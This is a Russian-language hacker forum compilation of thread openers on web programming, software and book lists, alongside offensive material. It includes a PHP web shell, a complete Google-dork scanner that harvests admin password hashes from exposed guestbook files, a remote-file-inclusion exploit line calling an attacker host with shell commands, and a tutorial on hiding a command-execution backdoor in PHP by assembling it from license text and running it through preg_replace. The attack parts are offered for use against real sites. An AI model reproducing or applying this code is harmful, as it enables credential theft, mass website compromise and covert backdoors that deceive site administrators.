Если у вас есть вопросы не требующие больших ответов из области веб-
программирования, вы можете задать их в этой теме.
_PHP, JavaScript, SQL и NoSQL базы данных, Python, Perl _и все остальное, что
касается веб-разработки.
Mini sender Icq
Вот прога каторая быстро отправляет Сообщения на указанный вами UIN/
В ней нету никаких настроек итд...Прога очень проста в использовании...
[mod] Great: Сюда кидаем софт, написанный вами. С описанием. Без оффтопика и флейма. Тут только обсуждение этого софта, конструктивные предложения по улучшению и в этом роде. Все "нравится", "фтопку", "кг/ам" и прочий флейм будет безжалостно удаляться.[/mod]
Здравствуйте, я хочу Вам рассказать, как можно самому сделать гугл-сканнер на
php. Написать эту статью я решил потому, что не видел в нете ничего подобного.
Если кто видел что-нибудь похожее, сообщите об этом мне.
"Почему именно на php?", - спросите Вы. Да потому что этот скрипт можно
будет залить на любой взломанный сервак и выполнить там. Да и вообще я считаю,
что будущее за php.
Во-первых, давайте разберемся, что конкретно мы хотим сделать.
В качестве скрипта для своих экспериментов я взял Sad Raven's Guestbook. В
самой гостевой книге багов мною найдено не было, но проблема в том, что
админские
логин и md5-хэш пароля она хранит в файле "passwd.dat" и достаточно часто к
нему
забывают запретить доступ. А через админ. центр в разделе "дизайн" можно
сделать
себе простенький веб-шелл вроде этого:
Code:Copy to clipboard
<?php
if (isset($_GET['c'])) // это чтобы не было вывода warning, когда нет команды
{
echo "<pre>\r\n";
system($_GET['c']);
echo "</pre>\r\n";
}
?>
Ну что ж, приступим =)
=======begin PhpGoogleScanner.php source code=======
Code:Copy to clipboard
<html>
<META HTTP-EQUIV=Content-Type CONTENT=text/html; charset='windows-1251'>
<title>PhpGoogleScanner v0.8 Ready</title>
<body bgcolor="gray">
<pre><font face="Fixedsys">
<?php
// PhpGoogleScanner v0.8 by Sad icq 2257763
// Gr33tz 2 dinggo, virus & all ex-USSR undergr00nd
if (isset($_GET['host'])) $host = $_GET['host'];
else $host = 'www.google.com'; // поисковый сервер
if (isset($_GET['path'])) $path = $_GET['path'];
else $path = '/'; // путь к скрипту поиска
if (isset($_GET['script_name'])) $script_name = $_GET['script_name'];
else $script_name = 'index.php'; // имя файла бажного скрипта
if (isset($_GET['query'])) $query = $_GET['query'];
else $query = 'search?q=allintitle:s+r+guestbook+v1.3&num=100&hl=en'; // запрос
$SPLOIT_STRING = 'passwd.dat'; // самое главное - эксплоит
function grab_links($host, $path, $html_source) // эта функция выдирает все ссылки
{
global $log, $links;
$log = fopen("goodebug.txt", "ab+"); // откроем файл для записи логов
// Регулярное выражение для поиска всех ссылок
preg_match_all("#<a.*?href=\"?'?([^\s\"'>]+)\"?'?.*?>(.*?)</a>#is", $html_source, $links);
for ($i=0; $i<count($links[1]); $i++)
{
// сделаем из относительных ссылок абсолютные
if (strpos($links[1][$i],"http") === false) $links[1][$i] = 'http://'.$host.$path.$links[1][$i];
echo $links[1][$i]."\r\n";
fputs($log, $links[1][$i]."\r\n"); // пишем все нефильтрованные ссылки в лог - на всякий случай, а вдруг у нас фильтр через жопу написан? =)
}
echo "\r\n";
}
$socket = fsockopen($host, 80); // коннектимся...
if (!$socket)
{
echo "Unable to connect to target server <b>\"$host\"</b>\r\n";
die("Socket Error =("); // коннекта нету =(
}
else
{ // формируем GET запрос к веб-серверу
$GET_query =
"GET ".$path.$query." HTTP/1.1\r\n".
"Accept: */*\r\n".
"Accept-Language: en\r\n".
"User-Agent: Sad Internet Spider v1.0\r\n".
"Host: $host\r\n".
"Connection: Close\r\n\r\n";
fputs($socket, $GET_query);
while (!feof($socket))
{
$html_source .= fgets($socket, 256); // получаем данные из сокета
}
grab_links($host, $path, $html_source); // выдираем ссылки
for ($i=0; $i<count($links[1]); $i++) // проходим все ссылки и обрабатываем их
{
if ((strpos($links[1][$i],"search") === false) && (strpos($links[1][$i], 'google') === false))
{ // фильтруем левые ссылки
$good_link = substr($links[1][$i], 0, strpos($links[1][$i], $script_name));
if ($good_link)
{ // нашли "хорошую" ссылку
fputs($log, "Good link: ".$good_link."\r\n"); // запишем-ка мы ее в лог
$file = @fopen($good_link.$SPLOIT_STRING, "rb"); // пытаемся слить файл
if (!$file) fputs($log, "Cannot open file: ".$good_link.$SPLOIT_STRING."\r\n"); // облом =(
else
{ // успешно открыли файл
fputs($log, "File ".$good_link.$SPLOIT_STRING." successfully opened.\r\n");
while (!feof($file))
{
$result .= fgets($file, 256); // долгожданный результат =)
}
if (strpos($result, 'Password') === false) // если пассов нет
{
echo "\r\nСкорее всего по адресу ".$good_link.$SPLOIT_STRING." пассов нет =(\r\n";
unset($result);
}
else
{ // если все путем
echo "\r\nFile from ".$good_link.":\r\n".htmlspecialchars($result)."\r\n";
fputs(fopen("goolog.txt", "ab+"), "\r\nFile from ".$good_link.":\r\n".$result."\r\n");
unset($result);
}
} // обработали файл
} // конец обработки "хорошей" ссылки
} // конец фильтра левых ссылок
} // конец обработки всех ссылок
}
?>
</font></pre></body></html>
=======end of PhpGoogleScanner.php source code=======
Эксплоит для скриптов с include-багом мог бы выглядеть следующим образом:
buggy_script.php?page=http://www.evilcode.org/c.txt?c=pwd;id;other_commands_here
Конечно это сработает только при allow_url_fopen = 1.
Также можно подправить сканнер, чтобы он искал и эксплуатировал уязвимости
типа sql-injection.
А если очень постараться, то доработав этот исходник можно сделать и какого-
нибудь злого червя >=)
В общем много чего еще можно придумать, лишь бы фантазии и знаний хватило.
Пока это все, удачи.
SAD ICQ: icq 2257763
Предлагаю всем желающим постить здесь свои просьбы о написании различных
скриптов.
Просьбы будут выполняться бесплатно мной или любым другим участником
форума который пожелает помочь.
Писать буду в свободное время, так что не ждите мгновенной реакции.
В просьбе желательно как можно подробнее расписывать техническое задание.
Можете заказывать абсолютно любые скрипты: парсеры, регеры, сортировщики,
рассыльщики, бруты, чекеры...
Готовые скрипты будут выкладываться в этой теме. Интеллектуальные права на
скрипты остаются за их авторами.
[mod][Winux:] рекомендуется выполнять вещи логичные и реально полезные. Заказы выполнять в соответствии с активностью на форуме.[/mod]
PHP глазами хакера
Михаил Фленов
Издательство: БХВ-Петербург, 2005 г.
Мягкая обложка, 296 стр.
ISBN 5-94157-673-0
Тираж: 5000 экз.
Формат: 70x100/16
От издателя:
Рассмотрены вопросы безопасности и оптимизации сценариев на языке РHР. Большое внимание уделено описанию типичных ошибок программистов, благодаря которым хакеры проникают на сервер, а также представлены методы и приведены практические рекомендации противостояния внешним атакам. Показаны реальные примеры взлома Web-серверов. На компакт-диске приведены исходные тексты примеров, рассмотренных в книге, а также полезные программы и утилиты.
Click to expand...
Книга рекомендована для Web-программистов, администраторов и специалистов по безопасности.
[mod][Great:] Тут задаем вопросы по составлению алгоритмов для прогамм. Что-то вроде "как посчитать простые числа" или в этом роде. Но учтите, что простые вопросы вида "сложить 2 и 3" не принимаются.[/mod]
Короч на веб-хак чувак какой-то попросил помочь решить задачи. Я решил выложить их сюда.
1)Дан линейный массви натуральных чисел. Какая цифра наиболее часто встречается в записи этих чисел? Если таких цифр несколько, напечатать каждую
2)Дано натуральное число n Заполнить квадратную матрицу размерности n*n последовательными натуральными числами, начиная с 1, размащая их против часовой стрелки по периметру всех вложенных квадратов, начиная с левого верхнего угла.
3)Даны N целых чисел Х1, Х2, ... , Xn. Составте программу, которая расставит между ними знаки "+" и "-" так, чтобы значение получившегося выражения было равно заланному целому S.
2<n<24, 0<X<50 000 000, -1 000 000 000<S<1 000 000 0004)В декартовой системе координат на плоскости заданы координаты вершин треугольника (x1,y1),(x2,y2),(x3,y3) и еще одна точка (x0,y0). Составте программу, которая будет определять, принадлежит ли эта точка треугольнику.
Click to expand...
Предлагаю в этой теме кидать исходники всяко-разного софта для изучения принципов работы ну и собстно внесение собственных изменений в этот софт.
Просьба не кидать сорсы GPL ибо они есть у всех кто того хочет и доступны каждому.
Итак, начнем, у меня в аттаче сорсы консольной аси. Считается неплохим вариантом для изучения реальзации ICQ протокола.
и так конкурс!
ЗАДАНИЕ:
написать программу шутку размером не более 2кб = 2048 байт
не паковать!
релизы слать мне в ПМ в base64
срок конкурса до 03.09.2006
тоесть 04.09.2006 все релизы выставляются на публичное голосование
Assembler
SCRNSAVE.LIB
OMF-версия библиотеки для экранных заставок.
Статическая библиотека в формате OMF с исходным текстом и примерами
использования в Borland Turbo Assembler. Она служит для создания экранных
заставок выполняя при этом всю рутинную работу и позволяя вам сосредоточится
лишь на конфигурировании и создании визуальных эффектов.
Скачать
Скачать Proforma 2003
ImpInc 1.3
Создает include-файлы с экспортами в формате TASM.
Консольная утилита, предназначенная для тех, кто использует Borland Turbo
Assembler для разработки 32-разрядных приложений Windows. Она извлекает из DLL
имена экспортируемых функций и создает соответствующие include-файлы в формате
TASM.
Скачать
ImpInc 1.3
intr_lib 0.5
Библиотека для разработки простых интерфейсов для *.pas. Функции на *.asm.
Исходный текст. Поддержка мыши.
Скачать
intr_lib 0.5
C / C++
VBto Converter 1.0
Конвертор MS VB 6.0 форм в ресурсы MS VC++ проекта.
Любой frm, frx файл vbp проекта может быть конвертирован в соответствующие rc,
cpp, h файлы dsp проекта. Поддерживаются все основные типы VB объектов.
Обрабатываются и зарегистрированные в системе визуальные ActiveX компоненты. В
результате конвертации получаем полностью готовый к компиляции MS VC++ проект.
Конвертация исходного кода текущей версией не поддерживается.
Скачать VBto
Converter 1.0
[Скачать Бесплатный компилятор и IDE LCC](ftp://ftp.cs.virginia.edu/pub/lcc- win32/lccwin32.exe)
Virtual Serial Port Driver 9x 2.0 (Demo)
Virtual Serial Ports Driver (VSPD) is a Windows device driver. Using it you
can create two virtual serial COM ports in your system which will be virtually
connected to each other. For example, after installing VSPD, you will have
Virtual Serial Port COM5 and Virtual Serial Port COM6 added to your system.
These ports will behave like real common serial ports to other Windows
applications. These ports will not interact with any hardware. The idea is:
all data sent by other application to COM5 will...
Скачать
Virtual Serial Port Driver 9x 2.0
LogEngine 1.02
LogEngine is a C++ library for easy and flexible logging to files.
Multithreaded, easy to use and fast. Automatic logfile backup (several modes).
A small amount of code. Platform Independent.
Скачать
LogEngine
1.02
GLClock 2
Небольшая демонстрационная программа - 3D часы, созданные с использованием
графической библиотеки OpenGL. Показано то, как работать со сложными
объектами, текстурировать их, накладывать освещение, создавать прозрачность и
блики.
Скачать
GLClock 2
БД (базы данных): MySQL, PostgreSQL и т.д.
Программа Репликатор 1.0.1.37
Репликатор - это программа для быстрого копирования информации из одной базы
данных Interbase в другую.
Одно из применений этой программы - это восстановление данных после сбоя. Но в
данном случае важно чтобы к базе данных со сбоем программа могла подключиться.
Т.к. восстановление данных происходит путём копирования данных.
Вы можете создавать различные настройки для копирования баз данных.
Программа умеет отключать триггера, ограничения и вторичные ключи. Так же она
умеет выполнять скрип...
Скачать
Программа Репликатор
1.0.1.37
IBLogScript 1.1.3.0
1. IBLogScript - инструмент переноса и отмены изменений данных Interbase,
основанный на механизме журнала IBExpert
предназначен только для пользователей IBExpert v.2.2.0.4 и выше, применяющих в
своей практике журнал изменений данных.
(IBExpert позволяет автоматически создать набор таблиц и триггеры,
отслеживающие изменения данных)
Если Вы уже используете эту удобную возможность, но Вам необходим инструмент
перенесения изменений, произведенных в одной базе данных, в другие, а также
отмены части изменений после завершения транзакции, IBLogScript поможет Вам.
IBLogScript создает на основе данных журнала (таблицы IBE$LOG_TABLES,
IBE$LOG_FIELDS и др.) воспроизводящий изменения либо отменяющий их SQL-скрипт.
2. Инструкция по использованию
Просто укажите файл базы данных, имя пользователя и пароль, а также тип
скрипта (воспроизводящий - отменяющий) и запустите программу на исполнение
(F9), затем сохраните полученный скрипт в файле либо скопируйте через буфер
обмена.
Для включения в результирующий скрипт информации журнала о дате и авторе
каждого изменения данных поставьте флажок "Include date and user comments".
Имеется возможность ограничить период, за который записи из журнала IBExpert
будут рассмотрены при составлении скрипта. Для этого необходимо указать даты
начала и окончания периода.
3. Имеющиеся ограничения
Пока не поддерживается работа с BLOB-полями ввиду невозможности их изменения
SQL-запросом.
4. Планы дальнейшего развития
Планируется ввод в инструментарий IBLogScript возможности переноса изменений
BLOB-полей, сохранения журнала IBExpert в формате XML и запуска скриптов
непосредственно из программы.
Скачать
IBLogScript 1.1.3.0
Ariacom Report Manager 2.2
Ariacom Report Manager is a COM component allowing database reporting and
multi-dimensional analysis with dynamic SQL generation.
Non-technical end-users can run and edit complex reports from any SQL
relational database.
The ActiveX main features are:
- Dynamic and optimized SQL queries
- Generation of complex reports integrating pivot tables
- Native line, bar, point and pie charts
- Integrated security management limiting user access
Скачать
Ariacom Report Manager 2.2
KSV Editor 2.5b
Улучшенная версия PROGRESS Procedure Editor v. 9.1
Добавлены файлбар, для переключения между открытыми файлами, инспектор кода,
алиасы;
Реализована поддержка пользовательских плагинов.
Реализована компиляция из редактора как в GUI, так и в CHUI режимах.
Полная интеграция с MS VSS 6.0.
Добавлена возможность форматирования кода для улучшения его читабельности
А также масса приятных мелочей, делающих разработку на PROGRESS 4GL очень
удобной.
Скачать KSV
Editor 2.5b
СУБД ORD 5.11
Система управления объектно-реляционными базами данных ORD представляет собой
инструментальную среду, предназначенную для создания высокоэффективных
информационных систем различного назначения, сочетающих широкие функциональные
возможности, высокую производительность и открытую архитектуру.
Это обеспечивает максимальную гибкость создаваемых систем, очень быструю их
расширяемость и адаптацию к новым задачам при изменениях сферы деятельности,
законодательства, предметной области, реинжиниринге бизнес-процессов и т.д.
Причем, в большинстве случаев расширение системы доступно непосредственно ее
пользователям.
Основу организации СУБД ORD представляет объектно-ориентированная технология,
построенная на уникальной идентификации объектов предметной области
собственным, нереляционным ключом. Такой подход позволяет исключить
противоречия, возникающие в традиционной реляционной модели при изменениях в
предметной области, и существенно упростить процедуры модификации и
масштабирования информационных систем, созданных с применением технологии ORD
Скачать СУБД
ORD 5.11
DBView2 Oracle Edition 1.0
С помощью нашей программы Вы с легкостью сможете:
просматривать содержимое DBF-файлов в DOS и Win - кодировке, сортировать
содержимое файлов (сортировка сохраняется только во время редактирования
файлов, физически записи не сортируются!);
вносить изменения в содержание Вашей базы данных;
производить поиск по Вашей базе данных;
накладывать фильтр на базу данных;
распечатывать выделенную запись Вашей базы данных;
создавать печатные формы для Ваших баз данных;
[Скачать
DBView2 Oracle Edition 1.0 ](http://www.vingrad.ru/cgi-
bin/soft/download.pl?id_pr=2109&link=1&type=DBView2Setup.zip)
GenRep 1.01
Быстрая и простая разработка отчета непосредственно в MS Word
Высокая скорость генерации отчета
Простота языка описания шаблона отчета
Вызов генератора из любого языка поддерживающего механизм Windows API
Вызов генератора посредством функций system или WinExec
Использование любых существующих документов MS Word для шаблонов генератора
Вывод отчетов в MS Word в виде RTF-файлов с возможностью редактирования и
печати
Вывод отчетов в MS Word из приложений DOS работающих с DBF файлами
Минимальные затраты дискового пространсва при установке генератора
Вывод данных из файлов DBF или из файла произвольных структур подготовленных
из Вашей программы
Скачать
GenRep 1.01
MySQL-Front 2.2
Идеально подходит для управления БД MySQL под Windows. Графический интерфейс
делает её удобнее в использовании чем phpMyAdmin. Все необходимые функции под
рукой.
Некоторые возможности:
- create/drop databases
- create/drop tables
- edit/add/delete fields
- edit/insert/delete records
- edit BLOBs and MEMOs with Bitmap/GIF/JPEG-Support
- a list of server-variables
- view and kill other user-processes
- execute (large) SQL-scripts
- view advanced table-properties, such as Type, Comment, -- Key_Length and so
on
- export table-structure and data into SQL-scripts or other -- databases
- replicate databases between two hosts ("Export tables...")
- save data to CSV-Files (ideal for working with MS-Excel) or HTML-tables
- copy CSV-data/HTML-Tables to clipboard
- copy tables to new table-names
Скачать
MySQL-Front 2.2
DBFNavigator 2.0b
DBFNavigator - это Windows утилита для просмотра и редактирования DBF файлов.
Возможности программы:
- возможность сохранения настроек для каждого файла;
- поддерживаются версии от dBase до Visual FoxPro;
- может читать мемо поля dBase и FoxPro форматов;
- поддерживаются OEM и ANSI кодировки;
- перекодировка из OEM в ANSI и обратно;
- выделение, копирование и вставка группы ячеек;
- редактирование структуры;
- сортировка;
- фильтр;
- поиск;
Скачать DBFNavigator 2.0b
Pascal
Скачать Компилятор TMT Pascal Lite v.3.90
Инсталляторы
ArInstall 2.0
ArInstall - Это мощная и удобная утилита для создания полноценных установочных
программ.
ArInstall обладает простым и удобным интерфейсом, благодаря чему в ней очень
легко разобраться.
Создание инсталлятора сводится к прохождению всего 6 несложных шагов.
Скачать
ArInstall 2.0
LizaJet Installer for Delphi Developers 1.3
Начата стадия бета тестирования LizaJet Installer for Delphi Developers версии
1.3 с возможностью получения Complete-8 Edition - полнофункциональной версии
системы бесплатно для тех, кто будет принимать в ней активное участие.
Мы заинтересованы не только в получении сообщений об ошибках в системе, но и в
отзывах о программе и предложениях по улучшению инсталлятора. Поэтому для нас
"активные участники" - это все, кто присылает нам информацию об ошибках или
участвует в обсуждении системы в форуме или по e-mail (support@lizajet.ru). По
окончании бета тестирования очередной версии мы связываемся со всеми
участниками по e-mail и, в случае заинтересованности, высылаем лицензию на
полную версию программы.
Дополнительная информация - на сайте http://www.lizajet.ru
LizaJet Installer - Универсальная система инсталляции для Microsoft Windows,
специально созданная для разработчиков, использующих Delphi. Среда разработки
пакетов с интегрированным отладчиком; инсталляционные скрипты на языке Object
Pascal; создание и редактирование диалогов, входящих в Setup Wizard;
наследование инсталляционных пакетов; инсталляция с серверов Интернет, с
поддержкой докачки файлов; скачиваются только файлы, необходимые для установки
опций, выбранных пользователем; возможность использования электронной цифровой
подписи.
Скачать
LizaJet Installer for Delphi Developers
1.3
GkSetup 2.10
Программа для создания инсталляшек. Показывает Лицензионное соглашение.
Собирает информацию о пользователе. Пишет информацию в реестр. Добавляет
программы в стартовое меню. Регистрирует dll. Многоязыковая поддержка.
Uninstall. Можно настраивать внешний вид.
Скачать
GkSetup 1.92
Это только частичный список софта. Естественно есть еще. Я призываю вас в этой теме постить ТОЛЬко софт для кодинга. Буду раз за дополнения. Обязательно постим язык, для которого этот софт предназначен.
Здраствуйте! Я вот недавно начал учить пхп, но вот одного не понимаю: я так понимаю что код нужно писать в каком либо текстовом редакторе, а вот как после написания кода с расширением пхп сохранять?
Товарищи, вам наверное уже давно известна приставка Dreamcast?
Ну так для нее можно програмировать. В этой теме я предлагаю обсудить методы и
возможности програмирования для нее.
Выкладывайте тут ссылки на софт, пишите статьи и так далее.
в архиве 5 файликов
смотрим каждый и голосуем
к сожалению 2 програмки не прошли предварительный отбор так как одна была
прислана в виде сорца
а вторая 120 байт com файлик который я так и не понял что делает )))
Друзья, в данной теме предлагаю делиться своими собственными полезными
наработками на PHP.
Выкладывайте только личный код с небольшими объяснениями принципов работы.
Есть такой язык PureBasic. Все команды как в барсике, но работает он с асмовской скоростью и размеры прог тоже как на асме. В новой версии в исходный код можно добовлять команды чистого асма! Кто чего думает по этому поводу?
Аткинсон Леон MySQL. Библиотека профессионала
Размер: 6790 Кбайт
http://www.zipsites.ru/books/atkinson_mysql/
Managing and Using MySQL (2nd Edition)
http://citrin.pp.ru/docs/MySQL/OReilly%20-...ing%20Mysql.pdf
Андрей Головин, Вадим Ткаченко, Александр Качанов Букварь по PHP и MySQL.
Размер: 568Кб
ftp://files.zipsites.ru/books/programming/PHP/phpmysql.zip
Томсон Лаура, Веллинг Люк Разработка Web-приложений на РНР и MySQL
Размер: 32,1 Мб
http://www.zipsites.ru/books/php_and_mysql/
Ульман Ларри MySQL. Руководство по изучению языка
Размер: 50 Мб
http://84.252.140.76/1211/PHP/ulman_mysql.zip
Размер: 4Мб
http://www.zipsites.ru/books/ulman_mysql/
Харрис PHP/MySQL для начинающих
Размер: 56 Мб
http://84.252.140.76/1211/PHP/Harris_phpmysql.zip
Размер: 5 Мб
http://www.zipsites.ru/books/php_mysql_dlya_nachinayushchih/
Он-лайн Документация по MySQL
Смотреть
[mod][Great:] Тут теперь задаем все вопросы по перлу[/mod]
Народ, додскажите как можно немного авторизировать perl
Зараенее спасибо....
Сфера web-разработки развивается огромными шагами.
Каждый день появляются новые инструменты, обновления для уже существующих
продуктов и многое другое.
Важно идти в ногу со временем и быть в курсе самых последних новостей, поэтому
делимся свежими материалами кратко и по-делу.
Можно публиковать небольшой спойлер, ведущий на вашу тему с более развернутым описанием новости и там же публиковать свои комментарии на этот счет.
"Зал"-концерт зал, в котором конечная расстановка мест не известна, известно, что максимум рядов 100, а мест в ряде 30.
Составить структуру данных, которая будет хранить план зала используя минимум памяти. Не обязательно реализация её в коде, можно только подробное описание. Логически каждое место в зале может имеет два состояние ЗАНЯТО и СВОБОДНО.
Понятно что 100*30=3000(байт) но как ещё меньше!! Как создать структуру в которой место в памяти занимают только нужные данные, а те которые не нужны просто NUll ...
Пример можно на Delphi\Vb.. да вообше хоть на чем)))
Bambalam PHP EXE Compiler/Embedder 1.1
Не знаю насколько это ново, но в сети появился инструмент для компиляции php
приложений под win32. Грубо говоря из файла php.php можно сделать консольный
исполняемый фаил php.exe. Очень удобно для изготовления експлойтов на php если
необходимо содержать код в тайне от чайников. Примечательно, что инструмент
распространяется с открытым кодом.
Использование: bamcompile [-options] infile.php [outfile.exe]
Закачка далее>>[New$paN]
Скачать|Download сам
компилятор
Скачать|Download
исходник
:zns2: Домашняя страница
.::Полный набор инструментов::.
/=============================\
Analysis:
OllyDbg 1.10 & Plugins - Modified by SLV NEW
W32Dasm 8.93 - Patched NEW
PEiD 0.93 + Plugins NEW
RDG Packer Detector v0.5.6 Beta - English NEW
Rebuilding:
ImpRec 1.6 - Fixed by MaRKuS_TH-DJM/SnD NEW
Revirgin 1.5 - Fixed NEW
LordPE De Luxe B NEW
**
Packers:**
FSG 2.0
MEW 11 1.2 SE
UPX 1.25 & GUI NEW
SLVc0deProtector 0.61 NEW
ARM Protector v0.3 NEW
WinUpack v0.31 Beta NEW
_
Patchers:_
dUP 2 NEW
CodeFusion 3.0
Universal Patcher Pro v2.0
Universal Patcher v1.7 NEW
Universal Loader Creator v1.2 NEW
aPatch v1.07
PMaker v1.2.0.0 NEW
Tola's Patch Engine v2.03b
ABEL Loader v2.31
Yoda's Process Patcher NEW
Registry Patch Creator NEW
ScAEvoLa's PatchEngine v1.33 NEW
Dogbert's Genuine Patching Engine v1.41 NEW
Graphical-PatchMaker v1.4 NEW
The aPE v0.0.7 BETA NEW
Liquid2 NEW
PELG v0.3 NEW
PrincessSandy v1.0 NEW
HEX Editor:
Biew v5.6.2
Hiew v7.10 NEW
WinHex v12.5 NEW
Decompilers:
DeDe 3.50.04
VB Decompiler Lite v0.4 NEW
Flasm
Unpackers:
ACProtect - ACStripper
ASPack - ASPackDie
ASProtect > Stripper 2.07 Final & Stripper 2.11 RC2 NEW
DBPE > UnDBPE
FSG 1.33 > Pumqara's Dumper
FSG 2.00 > UnFSG
MEW > UnMEW
PeCompact 1.x > UnPecomp
PEncrypt > UnPEncrypt
PeSpin 0.3 > DeSpinner 0.3
tELock 0.98-1.0 > UntELock
EXEStealth > UnStealth
Xtreme-Protector / Themida > XprotStripper v1.1 NEW
Morphine Killer 1.1 by SuperCracker/SND NEW
ASPR Dumper v0.1 NEW
Armadillo Process Detach v1.1 NEW
Armadillo Dumper v1.0 NEW
Armadillo Nanomite Fixer NEW
Armadillo Distance Decryptor aka Jump Table Fixer NEW
ArmTools (Translated!) NEW
ArmInline v0.1 NEW
Quick Unpack v1.0b3 NEW
Procdump v1.6.2 NEW
...................................................................................+Скачать+...............................................................................
Скачать|Download
Рапида
Пароль: www.spynet.ru
.::Вот подборка книг по Ассемблеру::.
Ассемблер под ДОС
Assembler & Win32
Крупник — ОПЫТ ДИЗАССЕМБЛИРОВАНИЯ БОЛЬШОЙ .COM ПРОГРАММЫ
Рей Дункан — Оптимизация программ на Ассемблере
Питер Абель — Ассемблер и программирование для IBM PC
Программирование и кодирование
Орлов С.Б. — Программа – справочник по системе программирования ТУРВО
АССЕМБЛЕР 2.0 (ЧАСТЬ I)
Орлов С.Б. — Программа – справочник по системе программирования ТУРВО
АССЕМБЛЕР 2.0 (ЧАСТЬ II)
Орлов С.Б. — Программа – справочник по системе программирования ТУРВО
АССЕМБЛЕР 2.0 (ЧАСТЬ III)
Орлов С.Б. — Программа – справочник по системе программирования ТУРВО
АССЕМБЛЕР 2.0 (ЧАСТЬ IV)
Документация по Turbo Debugger
Курс практических работ по программированию на языке Ассемблер
Пособие — теория по Ассемблеру
Ассемблер под Windows
Ассемблер
Macro Assembler v4.02
Linker v4.02
Система программирование на макроассемблере MS-DOS — справочное рукаводство
(пакет макроассемблера MS-DOS)
Система программирование на макроассемблере MS-DOS — справочное рукаводство
(введение в язык ассемблера)
Система программирование на макроассемблере MS-DOS — справочное рукаводство
(директивы языка ассемблера)
Система программирование на макроассемблере MS-DOS — справочное рукаводство
(инструкции процессоров 8086/8080)
Справка по Ассемблеру для AVR
IDA (ЧАСТЬ I)
IDA (ЧАСТЬ II)
IDA (ЧАСТЬ III)
IDA (ЧАСТЬ IV)
IDA (ЧАСТЬ V)
IDA (ЧАСТЬ VI)
IDA (ЧАСТЬ VII)
IDA (ЧАСТЬ VIII)
IDA (ЧАСТЬ IX)
IDA (ЧАСТЬ X)
скачать
Недавно сел за js.
Хочется услышать советов от мастеров на форуме, если такие есть.
Есть какой-нибудь очень хороший мануал для новичка?
Как лучше всего учиться?
На что обращать внимание?
Спасибо, не закидывайте только помидорами
Посоветуйте пожалуйста манов и доков по PE EXE формату.
Думаю, многие задумывались над вопросом - как бы запрятать в php-скрипте, будь
то форум, сайт или гостевая книга, свой код (шелл или что еще), как бы
"протроянить" его.
Дописать просто , или даже - тупо, слишком
заметно и неоригинально =)
Будет админ бегло просматривать скрипт по какой-либо причине, заметит кусок
вида eval(base64_decode(..)) и сразу поймет, что тут выполняется какой-то php-
код, да еще и закодированный в base64. Не порядок
Нам надо как-либо преобразовать, например, код system($_GET[cmd]), чтобы не
было заметно, что выполняются какие-то команды.
Самый незаметный, по моему мнению, способ - объявить переменную с каким-либо
текстом, например,
Code:Copy to clipboard
$license = " GNU GENERAL PUBLIC LICENSE
Version 2, June 1991
Copyright © 1989, 1991 Free Software Foundation, Inc.,
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
_[Preamble]_
The licenses for most software are designed to take away your
freedom to share and change it. By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users. This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it. (Some other Free Software Foundation software is covered by
the GNU Lesser General Public License instead.) You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.
To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have. You must make sure that they, too, receive or can get the
source code. And you must show them these terms so they know their
rights.
We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.
Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software. If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.
Finally, any free program is threatened constantly by software
patents. We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary. To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at all.
The precise terms and conditions for copying, distribution and
modification follow.";
(типа кусок лицензии GNU GPL) и потом выдирать посимвольно оттуда символы, собирать их в строку и отдать ее на выполнение не обычным eval, а, например, с помощью вызова preg_replace с модификатором 'e':
Code:Copy to clipboard
@preg_replace("#(\d+)#e", $i, "31337");
, где $i - наш код. preg_replace найдет в строке '31337' один или более
символов (регулярное выражение \d+) и произведет в ней замену согласно коду
$i, который она перед этим выполнит; в добавок еще и будут подавлены все
сообщения об ошибках с помощью оператора @ в PHP. То есть это полностью
аналогично @eval($i), за исключением того, что в $i не должно быть переносов
строки.
Собирать код в строку будем разными способами. Например,
Code:Copy to clipboard
$i .= $license[123]; // банально :)
$i = $i.$license[123]; // разновидность предыдущего
$i = join('', array($i, $license[123])); // извращаемся с join() :)
мало того, все это еще обернем в вызов какой-либо функции, смысл которой близок к выполняемому скрипту. Например, если это гостевая книга с обилием вызовов mysql_query и mysql_fetch_array, то мы код запишем в виде
Code:Copy to clipboard
@mysql_query($i = implode("", array($i, $license[48])));
@mysql_fetch_array($i .= $license[205]);
Опять же @ подавляет все ошибки, а они неизбежно будут, т.к. переданные
параметры отнюдь не то, что ожидают эти функции =)
Как результат - PHP просто выполнит выражения, которые стоят в аргументах, а
сама функция упадет с ошибкой, которую мы скроем. Еще добавим всякие функции
для работы со строками, например, chop,nl2br,md5 для вида
.
После всех извращений с php, вызов system($_GET[cmd]) принимает вид:
Code:Copy to clipboard
$license = " $ GNU GENERAL PUBLIC LICENSE
Version 2, June 1991
Copyright © 1989, 1991 Free Software Foundation, Inc.,
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
_[Preamble]_
The licenses for most software are designed to take away your
freedom to share and change it. By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users. This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it. (Some other Free Software Foundation software is covered by
the GNU Lesser General Public License instead.) You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.
